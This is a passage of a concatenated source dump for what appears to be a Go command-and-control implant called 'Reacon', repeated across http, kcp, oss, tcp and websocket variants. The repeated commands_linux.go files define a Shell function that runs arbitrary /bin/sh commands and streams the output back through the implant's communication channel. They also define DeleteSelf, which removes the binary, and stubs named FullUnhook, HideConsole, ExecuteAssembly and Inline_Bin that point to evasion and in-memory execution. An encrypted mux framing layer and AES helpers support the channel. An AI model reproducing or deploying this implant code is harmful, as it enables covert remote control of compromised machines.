37 | binary.LittleEndian.PutUint16(buf[6:], h.flags)
38 | copy(buf[8:], h.nonce[:])
39 | }
40 |
41 | func decodeFrameHeader(buf []byte) frameHeader {
42 | h := frameHeader{
43 | id: binary.LittleEndian.Uint32(buf[0:]),
44 | length: binary.LittleEndian.Uint16(buf[4:]),
45 | flags: binary.LittleEndian.Uint16(buf[6:]),
46 | }
47 | copy(h.nonce[:], buf[8:])
48 | return h
49 | }
50 |
51 | // nextFrame reads and decrypts a frame from reader
52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) {
53 |
54 | headerBuf := [frameHeaderSize]byte{}
55 |
56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil {
57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err)
58 | }
59 | h := decodeFrameHeader(headerBuf[:])
60 |
61 | payloadSize := uint32(chacha20poly1305.Overhead)
62 | if h.flags == flagData {
63 | payloadSize += uint32(h.length)
64 | }
65 |
66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil {
67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err)
68 | }
69 |
70 | // Decrypt the message and check it wasn't tampered with.
71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil {
72 | return frameHeader{}, nil, err
73 | }
74 |
75 | return h, frameBuf[:h.length], nil
76 | }
77 |
78 | // appendFrame writs and encrypts a frame to buf
79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte {
80 | rand.Read(h.nonce[:])
81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()]
82 | encodeFrameHeader(frame[:frameHeaderSize], h)
83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize])
84 | return buf[:len(buf)+len(frame)]
85 | }
86 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/services/proxy/mux/frame.go:
--------------------------------------------------------------------------------
1 | package mux
2 |
3 | import (
4 | "crypto/cipher"
5 | "crypto/rand"
6 | "encoding/binary"
7 | "fmt"
8 | "io"
9 | "math"
10 |
11 | "golang.org/x/crypto/chacha20poly1305"
12 | )
13 |
14 | type frameHeader struct {
15 | id uint32
16 | length uint16
17 | flags uint16
18 | nonce [chacha20poly1305.NonceSizeX]byte
19 | }
20 |
21 | const (
22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size
23 | maxPayloadSize = math.MaxUint16
24 | )
25 |
26 | const (
27 | flagData = iota + 1 // data frame
28 | flagKeepalive // empty frame to keep connection open
29 | flagOpenStream // first frame in stream
30 | flagCloseStream // stream is being closed gracefully
31 | flagCloseMux // mux is being closed gracefully
32 | )
33 |
34 | func encodeFrameHeader(buf []byte, h frameHeader) {
35 | binary.LittleEndian.PutUint32(buf[0:], h.id)
36 | binary.LittleEndian.PutUint16(buf[4:], h.length)
37 | binary.LittleEndian.PutUint16(buf[6:], h.flags)
38 | copy(buf[8:], h.nonce[:])
39 | }
40 |
41 | func decodeFrameHeader(buf []byte) frameHeader {
42 | h := frameHeader{
43 | id: binary.LittleEndian.Uint32(buf[0:]),
44 | length: binary.LittleEndian.Uint16(buf[4:]),
45 | flags: binary.LittleEndian.Uint16(buf[6:]),
46 | }
47 | copy(h.nonce[:], buf[8:])
48 | return h
49 | }
50 |
51 | // nextFrame reads and decrypts a frame from reader
52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) {
53 |
54 | headerBuf := [frameHeaderSize]byte{}
55 |
56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil {
57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err)
58 | }
59 | h := decodeFrameHeader(headerBuf[:])
60 |
61 | payloadSize := uint32(chacha20poly1305.Overhead)
62 | if h.flags == flagData {
63 | payloadSize += uint32(h.length)
64 | }
65 |
66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil {
67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err)
68 | }
69 |
70 | // Decrypt the message and check it wasn't tampered with.
71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil {
72 | return frameHeader{}, nil, err
73 | }
74 |
75 | return h, frameBuf[:h.length], nil
76 | }
77 |
78 | // appendFrame writs and encrypts a frame to buf
79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte {
80 | rand.Read(h.nonce[:])
81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()]
82 | encodeFrameHeader(frame[:frameHeaderSize], h)
83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize])
84 | return buf[:len(buf)+len(frame)]
85 | }
86 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/services/proxy/mux/frame.go:
--------------------------------------------------------------------------------
1 | package mux
2 |
3 | import (
4 | "crypto/cipher"
5 | "crypto/rand"
6 | "encoding/binary"
7 | "fmt"
8 | "io"
9 | "math"
10 |
11 | "golang.org/x/crypto/chacha20poly1305"
12 | )
13 |
14 | type frameHeader struct {
15 | id uint32
16 | length uint16
17 | flags uint16
18 | nonce [chacha20poly1305.NonceSizeX]byte
19 | }
20 |
21 | const (
22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size
23 | maxPayloadSize = math.MaxUint16
24 | )
25 |
26 | const (
27 | flagData = iota + 1 // data frame
28 | flagKeepalive // empty frame to keep connection open
29 | flagOpenStream // first frame in stream
30 | flagCloseStream // stream is being closed gracefully
31 | flagCloseMux // mux is being closed gracefully
32 | )
33 |
34 | func encodeFrameHeader(buf []byte, h frameHeader) {
35 | binary.LittleEndian.PutUint32(buf[0:], h.id)
36 | binary.LittleEndian.PutUint16(buf[4:], h.length)
37 | binary.LittleEndian.PutUint16(buf[6:], h.flags)
38 | copy(buf[8:], h.nonce[:])
39 | }
40 |
41 | func decodeFrameHeader(buf []byte) frameHeader {
42 | h := frameHeader{
43 | id: binary.LittleEndian.Uint32(buf[0:]),
44 | length: binary.LittleEndian.Uint16(buf[4:]),
45 | flags: binary.LittleEndian.Uint16(buf[6:]),
46 | }
47 | copy(h.nonce[:], buf[8:])
48 | return h
49 | }
50 |
51 | // nextFrame reads and decrypts a frame from reader
52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) {
53 |
54 | headerBuf := [frameHeaderSize]byte{}
55 |
56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil {
57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err)
58 | }
59 | h := decodeFrameHeader(headerBuf[:])
60 |
61 | payloadSize := uint32(chacha20poly1305.Overhead)
62 | if h.flags == flagData {
63 | payloadSize += uint32(h.length)
64 | }
65 |
66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil {
67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err)
68 | }
69 |
70 | // Decrypt the message and check it wasn't tampered with.
71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil {
72 | return frameHeader{}, nil, err
73 | }
74 |
75 | return h, frameBuf[:h.length], nil
76 | }
77 |
78 | // appendFrame writs and encrypts a frame to buf
79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte {
80 | rand.Read(h.nonce[:])
81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()]
82 | encodeFrameHeader(frame[:frameHeaderSize], h)
83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize])
84 | return buf[:len(buf)+len(frame)]
85 | }
86 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/services/proxy/mux/frame.go:
--------------------------------------------------------------------------------
1 | package mux
2 |
3 | import (
4 | "crypto/cipher"
5 | "crypto/rand"
6 | "encoding/binary"
7 | "fmt"
8 | "io"
9 | "math"
10 |
11 | "golang.org/x/crypto/chacha20poly1305"
12 | )
13 |
14 | type frameHeader struct {
15 | id uint32
16 | length uint16
17 | flags uint16
18 | nonce [chacha20poly1305.NonceSizeX]byte
19 | }
20 |
21 | const (
22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size
23 | maxPayloadSize = math.MaxUint16
24 | )
25 |
26 | const (
27 | flagData = iota + 1 // data frame
28 | flagKeepalive // empty frame to keep connection open
29 | flagOpenStream // first frame in stream
30 | flagCloseStream // stream is being closed gracefully
31 | flagCloseMux // mux is being closed gracefully
32 | )
33 |
34 | func encodeFrameHeader(buf []byte, h frameHeader) {
35 | binary.LittleEndian.PutUint32(buf[0:], h.id)
36 | binary.LittleEndian.PutUint16(buf[4:], h.length)
37 | binary.LittleEndian.PutUint16(buf[6:], h.flags)
38 | copy(buf[8:], h.nonce[:])
39 | }
40 |
41 | func decodeFrameHeader(buf []byte) frameHeader {
42 | h := frameHeader{
43 | id: binary.LittleEndian.Uint32(buf[0:]),
44 | length: binary.LittleEndian.Uint16(buf[4:]),
45 | flags: binary.LittleEndian.Uint16(buf[6:]),
46 | }
47 | copy(h.nonce[:], buf[8:])
48 | return h
49 | }
50 |
51 | // nextFrame reads and decrypts a frame from reader
52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) {
53 |
54 | headerBuf := [frameHeaderSize]byte{}
55 |
56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil {
57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err)
58 | }
59 | h := decodeFrameHeader(headerBuf[:])
60 |
61 | payloadSize := uint32(chacha20poly1305.Overhead)
62 | if h.flags == flagData {
63 | payloadSize += uint32(h.length)
64 | }
65 |
66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil {
67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err)
68 | }
69 |
70 | // Decrypt the message and check it wasn't tampered with.
71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil {
72 | return frameHeader{}, nil, err
73 | }
74 |
75 | return h, frameBuf[:h.length], nil
76 | }
77 |
78 | // appendFrame writs and encrypts a frame to buf
79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte {
80 | rand.Read(h.nonce[:])
81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()]
82 | encodeFrameHeader(frame[:frameHeaderSize], h)
83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize])
84 | return buf[:len(buf)+len(frame)]
85 | }
86 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/services/proxy/mux/frame.go:
--------------------------------------------------------------------------------
1 | package mux
2 |
3 | import (
4 | "crypto/cipher"
5 | "crypto/rand"
6 | "encoding/binary"
7 | "fmt"
8 | "io"
9 | "math"
10 |
11 | "golang.org/x/crypto/chacha20poly1305"
12 | )
13 |
14 | type frameHeader struct {
15 | id uint32
16 | length uint16
17 | flags uint16
18 | nonce [chacha20poly1305.NonceSizeX]byte
19 | }
20 |
21 | const (
22 | frameHeaderSize = 4 + 2 + 2 + chacha20poly1305.NonceSizeX // must be exact frameHeader struct size
23 | maxPayloadSize = math.MaxUint16
24 | )
25 |
26 | const (
27 | flagData = iota + 1 // data frame
28 | flagKeepalive // empty frame to keep connection open
29 | flagOpenStream // first frame in stream
30 | flagCloseStream // stream is being closed gracefully
31 | flagCloseMux // mux is being closed gracefully
32 | )
33 |
34 | func encodeFrameHeader(buf []byte, h frameHeader) {
35 | binary.LittleEndian.PutUint32(buf[0:], h.id)
36 | binary.LittleEndian.PutUint16(buf[4:], h.length)
37 | binary.LittleEndian.PutUint16(buf[6:], h.flags)
38 | copy(buf[8:], h.nonce[:])
39 | }
40 |
41 | func decodeFrameHeader(buf []byte) frameHeader {
42 | h := frameHeader{
43 | id: binary.LittleEndian.Uint32(buf[0:]),
44 | length: binary.LittleEndian.Uint16(buf[4:]),
45 | flags: binary.LittleEndian.Uint16(buf[6:]),
46 | }
47 | copy(h.nonce[:], buf[8:])
48 | return h
49 | }
50 |
51 | // nextFrame reads and decrypts a frame from reader
52 | func readFrame(reader io.Reader, aead cipher.AEAD, frameBuf []byte) (frameHeader, []byte, error) {
53 |
54 | headerBuf := [frameHeaderSize]byte{}
55 |
56 | if _, err := io.ReadFull(reader, headerBuf[:]); err != nil {
57 | return frameHeader{}, nil, fmt.Errorf("could not read frame header: %w", err)
58 | }
59 | h := decodeFrameHeader(headerBuf[:])
60 |
61 | payloadSize := uint32(chacha20poly1305.Overhead)
62 | if h.flags == flagData {
63 | payloadSize += uint32(h.length)
64 | }
65 |
66 | if _, err := io.ReadFull(reader, frameBuf[:payloadSize]); err != nil {
67 | return frameHeader{}, nil, fmt.Errorf("could not read frame payload: %w", err)
68 | }
69 |
70 | // Decrypt the message and check it wasn't tampered with.
71 | if _, err := aead.Open(frameBuf[:0], h.nonce[:], frameBuf[:payloadSize], headerBuf[:]); err != nil {
72 | return frameHeader{}, nil, err
73 | }
74 |
75 | return h, frameBuf[:h.length], nil
76 | }
77 |
78 | // appendFrame writs and encrypts a frame to buf
79 | func appendFrame(buf []byte, aead cipher.AEAD, h frameHeader, payload []byte) []byte {
80 | rand.Read(h.nonce[:])
81 | frame := buf[len(buf):][:frameHeaderSize+len(payload)+aead.Overhead()]
82 | encodeFrameHeader(frame[:frameHeaderSize], h)
83 | aead.Seal(frame[frameHeaderSize:][:0], h.nonce[:], payload, frame[:frameHeaderSize])
84 | return buf[:len(buf)+len(frame)]
85 | }
86 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/commands/commands_linux.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "errors"
6 | "os"
7 | "os/exec"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | "time"
12 | )
13 |
14 | func HideConsole() error {
15 | //return errors.New("this platform not supports HideConsole now.")
16 | return nil
17 | }
18 | func SetProcessDPIAware() error {
19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.")
20 | return nil
21 | }
22 | func FullUnhook() error {
23 | return nil
24 | }
25 | func Run(b []byte) ([]byte, error) {
26 | return nil, nil
27 | }
28 | func DeleteSelf() ([]byte, error) {
29 | filename, err := os.Executable()
30 | if err != nil {
31 | return nil, err
32 | }
33 | Path := strings.ReplaceAll(string(filename), "\\", "/")
34 | err = os.RemoveAll(Path)
35 | if err != nil {
36 | return nil, errors.New("Remove failed")
37 | }
38 | return []byte("Remove " + string(filename) + " success"), nil
39 | }
40 | func KillProcess(pid uint32) ([]byte, error) {
41 | err := syscall.Kill(int(pid), 15)
42 | if err != nil {
43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found")
44 | }
45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil
46 | }
47 | func Drives() ([]byte, error) {
48 | return nil, errors.New("This function is not supported on this platform now.")
49 | }
50 | func Shell(path string, args []byte) ([]byte, error) {
51 | path = "/bin/sh"
52 | argsArray := []string{"-c", string(args)}
53 | cmd := exec.Command(path, argsArray...)
54 | stdout, err := cmd.StdoutPipe()
55 | cmd.Stderr = cmd.Stdout
56 | if err != nil {
57 | return nil, errors.New("exec failed with: " + err.Error())
58 | }
59 | if err = cmd.Start(); err != nil {
60 | return nil, errors.New("exec failed with: " + err.Error())
61 | }
62 |
63 | var buf []byte
64 | var count int
65 | time.Sleep(500 * time.Millisecond)
66 | buf = make([]byte, 1024*50)
67 | count, err = stdout.Read(buf)
68 | communication.DataProcess(0, buf[:count])
69 | for {
70 | buf = make([]byte, 1024*50)
71 | count, err = stdout.Read(buf)
72 | if err != nil {
73 | break
74 | }
75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...))
76 | time.Sleep(5000 * time.Millisecond)
77 | }
78 |
79 | if err = cmd.Wait(); err != nil {
80 | return nil, errors.New("exec failed with: " + err.Error())
81 | }
82 |
83 | return []byte("success"), nil
84 |
85 | }
86 | func Execute(b []byte) ([]byte, error) {
87 | return nil, errors.New("This function is not supported on this platform now.")
88 | }
89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) {
90 | return nil, errors.New("This function is not supported on this platform now.")
91 | }
92 | func Inline_Bin(data []byte) ([]byte, error) {
93 | return nil, errors.New("This function is not supported on this platform now.")
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_kcp/pkg/commands/commands_linux.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "errors"
6 | "os"
7 | "os/exec"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | "time"
12 | )
13 |
14 | func HideConsole() error {
15 | //return errors.New("this platform not supports HideConsole now.")
16 | return nil
17 | }
18 | func SetProcessDPIAware() error {
19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.")
20 | return nil
21 | }
22 | func FullUnhook() error {
23 | return nil
24 | }
25 | func Run(b []byte) ([]byte, error) {
26 | return nil, nil
27 | }
28 | func DeleteSelf() ([]byte, error) {
29 | filename, err := os.Executable()
30 | if err != nil {
31 | return nil, err
32 | }
33 | Path := strings.ReplaceAll(string(filename), "\\", "/")
34 | err = os.RemoveAll(Path)
35 | if err != nil {
36 | return nil, errors.New("Remove failed")
37 | }
38 | return []byte("Remove " + string(filename) + " success"), nil
39 | }
40 | func KillProcess(pid uint32) ([]byte, error) {
41 | err := syscall.Kill(int(pid), 15)
42 | if err != nil {
43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found")
44 | }
45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil
46 | }
47 | func Drives() ([]byte, error) {
48 | return nil, errors.New("This function is not supported on this platform now.")
49 | }
50 | func Shell(path string, args []byte) ([]byte, error) {
51 | path = "/bin/sh"
52 | argsArray := []string{"-c", string(args)}
53 | cmd := exec.Command(path, argsArray...)
54 | stdout, err := cmd.StdoutPipe()
55 | cmd.Stderr = cmd.Stdout
56 | if err != nil {
57 | return nil, errors.New("exec failed with: " + err.Error())
58 | }
59 | if err = cmd.Start(); err != nil {
60 | return nil, errors.New("exec failed with: " + err.Error())
61 | }
62 |
63 | var buf []byte
64 | var count int
65 | time.Sleep(500 * time.Millisecond)
66 | buf = make([]byte, 1024*50)
67 | count, err = stdout.Read(buf)
68 | communication.DataProcess(0, buf[:count])
69 | for {
70 | buf = make([]byte, 1024*50)
71 | count, err = stdout.Read(buf)
72 | if err != nil {
73 | break
74 | }
75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...))
76 | time.Sleep(5000 * time.Millisecond)
77 | }
78 |
79 | if err = cmd.Wait(); err != nil {
80 | return nil, errors.New("exec failed with: " + err.Error())
81 | }
82 |
83 | return []byte("success"), nil
84 |
85 | }
86 | func Execute(b []byte) ([]byte, error) {
87 | return nil, errors.New("This function is not supported on this platform now.")
88 | }
89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) {
90 | return nil, errors.New("This function is not supported on this platform now.")
91 | }
92 | func Inline_Bin(data []byte) ([]byte, error) {
93 | return nil, errors.New("This function is not supported on this platform now.")
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/commands/commands_linux.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "errors"
6 | "os"
7 | "os/exec"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | "time"
12 | )
13 |
14 | func HideConsole() error {
15 | //return errors.New("this platform not supports HideConsole now.")
16 | return nil
17 | }
18 | func SetProcessDPIAware() error {
19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.")
20 | return nil
21 | }
22 | func FullUnhook() error {
23 | return nil
24 | }
25 | func Run(b []byte) ([]byte, error) {
26 | return nil, nil
27 | }
28 | func DeleteSelf() ([]byte, error) {
29 | filename, err := os.Executable()
30 | if err != nil {
31 | return nil, err
32 | }
33 | Path := strings.ReplaceAll(string(filename), "\\", "/")
34 | err = os.RemoveAll(Path)
35 | if err != nil {
36 | return nil, errors.New("Remove failed")
37 | }
38 | return []byte("Remove " + string(filename) + " success"), nil
39 | }
40 | func KillProcess(pid uint32) ([]byte, error) {
41 | err := syscall.Kill(int(pid), 15)
42 | if err != nil {
43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found")
44 | }
45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil
46 | }
47 | func Drives() ([]byte, error) {
48 | return nil, errors.New("This function is not supported on this platform now.")
49 | }
50 | func Shell(path string, args []byte) ([]byte, error) {
51 | path = "/bin/sh"
52 | argsArray := []string{"-c", string(args)}
53 | cmd := exec.Command(path, argsArray...)
54 | stdout, err := cmd.StdoutPipe()
55 | cmd.Stderr = cmd.Stdout
56 | if err != nil {
57 | return nil, errors.New("exec failed with: " + err.Error())
58 | }
59 | if err = cmd.Start(); err != nil {
60 | return nil, errors.New("exec failed with: " + err.Error())
61 | }
62 |
63 | var buf []byte
64 | var count int
65 | time.Sleep(500 * time.Millisecond)
66 | buf = make([]byte, 1024*50)
67 | count, err = stdout.Read(buf)
68 | communication.DataProcess(0, buf[:count])
69 | for {
70 | buf = make([]byte, 1024*50)
71 | count, err = stdout.Read(buf)
72 | if err != nil {
73 | break
74 | }
75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...))
76 | time.Sleep(5000 * time.Millisecond)
77 | }
78 |
79 | if err = cmd.Wait(); err != nil {
80 | return nil, errors.New("exec failed with: " + err.Error())
81 | }
82 |
83 | return []byte("success"), nil
84 |
85 | }
86 | func Execute(b []byte) ([]byte, error) {
87 | return nil, errors.New("This function is not supported on this platform now.")
88 | }
89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) {
90 | return nil, errors.New("This function is not supported on this platform now.")
91 | }
92 | func Inline_Bin(data []byte) ([]byte, error) {
93 | return nil, errors.New("This function is not supported on this platform now.")
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_tcp/pkg/commands/commands_linux.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "errors"
6 | "os"
7 | "os/exec"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | "time"
12 | )
13 |
14 | func HideConsole() error {
15 | //return errors.New("this platform not supports HideConsole now.")
16 | return nil
17 | }
18 | func SetProcessDPIAware() error {
19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.")
20 | return nil
21 | }
22 | func FullUnhook() error {
23 | return nil
24 | }
25 | func Run(b []byte) ([]byte, error) {
26 | return nil, nil
27 | }
28 | func DeleteSelf() ([]byte, error) {
29 | filename, err := os.Executable()
30 | if err != nil {
31 | return nil, err
32 | }
33 | Path := strings.ReplaceAll(string(filename), "\\", "/")
34 | err = os.RemoveAll(Path)
35 | if err != nil {
36 | return nil, errors.New("Remove failed")
37 | }
38 | return []byte("Remove " + string(filename) + " success"), nil
39 | }
40 | func KillProcess(pid uint32) ([]byte, error) {
41 | err := syscall.Kill(int(pid), 15)
42 | if err != nil {
43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found")
44 | }
45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil
46 | }
47 | func Drives() ([]byte, error) {
48 | return nil, errors.New("This function is not supported on this platform now.")
49 | }
50 | func Shell(path string, args []byte) ([]byte, error) {
51 | path = "/bin/sh"
52 | argsArray := []string{"-c", string(args)}
53 | cmd := exec.Command(path, argsArray...)
54 | stdout, err := cmd.StdoutPipe()
55 | cmd.Stderr = cmd.Stdout
56 | if err != nil {
57 | return nil, errors.New("exec failed with: " + err.Error())
58 | }
59 | if err = cmd.Start(); err != nil {
60 | return nil, errors.New("exec failed with: " + err.Error())
61 | }
62 |
63 | var buf []byte
64 | var count int
65 | time.Sleep(500 * time.Millisecond)
66 | buf = make([]byte, 1024*50)
67 | count, err = stdout.Read(buf)
68 | communication.DataProcess(0, buf[:count])
69 | for {
70 | buf = make([]byte, 1024*50)
71 | count, err = stdout.Read(buf)
72 | if err != nil {
73 | break
74 | }
75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...))
76 | time.Sleep(5000 * time.Millisecond)
77 | }
78 |
79 | if err = cmd.Wait(); err != nil {
80 | return nil, errors.New("exec failed with: " + err.Error())
81 | }
82 |
83 | return []byte("success"), nil
84 |
85 | }
86 | func Execute(b []byte) ([]byte, error) {
87 | return nil, errors.New("This function is not supported on this platform now.")
88 | }
89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) {
90 | return nil, errors.New("This function is not supported on this platform now.")
91 | }
92 | func Inline_Bin(data []byte) ([]byte, error) {
93 | return nil, errors.New("This function is not supported on this platform now.")
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_websocket/pkg/commands/commands_linux.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "errors"
6 | "os"
7 | "os/exec"
8 | "strconv"
9 | "strings"
10 | "syscall"
11 | "time"
12 | )
13 |
14 | func HideConsole() error {
15 | //return errors.New("this platform not supports HideConsole now.")
16 | return nil
17 | }
18 | func SetProcessDPIAware() error {
19 | //return errors.New("SetProcessDPIAware is not supported on this platform now.")
20 | return nil
21 | }
22 | func FullUnhook() error {
23 | return nil
24 | }
25 | func Run(b []byte) ([]byte, error) {
26 | return nil, nil
27 | }
28 | func DeleteSelf() ([]byte, error) {
29 | filename, err := os.Executable()
30 | if err != nil {
31 | return nil, err
32 | }
33 | Path := strings.ReplaceAll(string(filename), "\\", "/")
34 | err = os.RemoveAll(Path)
35 | if err != nil {
36 | return nil, errors.New("Remove failed")
37 | }
38 | return []byte("Remove " + string(filename) + " success"), nil
39 | }
40 | func KillProcess(pid uint32) ([]byte, error) {
41 | err := syscall.Kill(int(pid), 15)
42 | if err != nil {
43 | return nil, errors.New("process" + strconv.Itoa(int(pid)) + "not found")
44 | }
45 | return []byte("kill " + strconv.Itoa(int(pid)) + " success"), nil
46 | }
47 | func Drives() ([]byte, error) {
48 | return nil, errors.New("This function is not supported on this platform now.")
49 | }
50 | func Shell(path string, args []byte) ([]byte, error) {
51 | path = "/bin/sh"
52 | argsArray := []string{"-c", string(args)}
53 | cmd := exec.Command(path, argsArray...)
54 | stdout, err := cmd.StdoutPipe()
55 | cmd.Stderr = cmd.Stdout
56 | if err != nil {
57 | return nil, errors.New("exec failed with: " + err.Error())
58 | }
59 | if err = cmd.Start(); err != nil {
60 | return nil, errors.New("exec failed with: " + err.Error())
61 | }
62 |
63 | var buf []byte
64 | var count int
65 | time.Sleep(500 * time.Millisecond)
66 | buf = make([]byte, 1024*50)
67 | count, err = stdout.Read(buf)
68 | communication.DataProcess(0, buf[:count])
69 | for {
70 | buf = make([]byte, 1024*50)
71 | count, err = stdout.Read(buf)
72 | if err != nil {
73 | break
74 | }
75 | communication.DataProcess(0, append([]byte("[+] "+string(path)+" "+string(args)+" :\n"), buf[:count]...))
76 | time.Sleep(5000 * time.Millisecond)
77 | }
78 |
79 | if err = cmd.Wait(); err != nil {
80 | return nil, errors.New("exec failed with: " + err.Error())
81 | }
82 |
83 | return []byte("success"), nil
84 |
85 | }
86 | func Execute(b []byte) ([]byte, error) {
87 | return nil, errors.New("This function is not supported on this platform now.")
88 | }
89 | func ExecuteAssembly(data []byte, args string) ([]byte, error) {
90 | return nil, errors.New("This function is not supported on this platform now.")
91 | }
92 | func Inline_Bin(data []byte) ([]byte, error) {
93 | return nil, errors.New("This function is not supported on this platform now.")
94 | }
95 |
--------------------------------------------------------------------------------
/Reacon_oss/pkg/encrypt/encrypt.go:
--------------------------------------------------------------------------------
1 | package encrypt
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/md5"
7 | "crypto/rand"
8 | "encoding/base64"
9 | "encoding/hex"
10 | "fmt"
11 | "io"
12 | r "math/rand"
13 | "time"
14 | )
15 |
16 | // 密钥生成
17 | func generateKey() []byte {
18 | key := make([]byte, 32) // 256 bits key
19 | if _, err := rand.Read(key); err != nil {
20 | panic(err)
21 | }
22 | return key
23 | }
24 |
25 | // 加密函数
26 | func encryptAES(data []byte, key []byte) ([]byte, error) {
27 | block, err := aes.NewCipher(key)
28 | if err != nil {
29 | return nil, err
30 | }
31 |
32 | ciphertext := make([]byte, aes.BlockSize+len(data))
33 | iv := ciphertext[:aes.BlockSize]
34 |
35 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
36 | return nil, err
37 | }
38 |
39 | stream := cipher.NewCFBEncrypter(block, iv)
40 | stream.XORKeyStream(ciphertext[aes.BlockSize:], data)
41 |
42 | return ciphertext, nil
43 | }
44 |
45 | // 解密函数
46 | func decryptAES(ciphertext []byte, key []byte) ([]byte, error) {
47 | block, err := aes.NewCipher(key)
48 | if err != nil {
49 | return nil, err
50 | }
51 |
52 | if len(ciphertext) < aes.BlockSize {
53 | return nil, fmt.Errorf("ciphertext is too short")
54 | }
55 |
56 | iv := ciphertext[:aes.BlockSize]
57 | ciphertext = ciphertext[aes.BlockSize:]
58 |
59 | stream := cipher.NewCFBDecrypter(block, iv)
60 | stream.XORKeyStream(ciphertext, ciphertext)
61 |
62 | return ciphertext, nil
63 | }
64 |
65 | func Encrypt(data []byte) ([]byte, error) {
66 | key := generateKey()
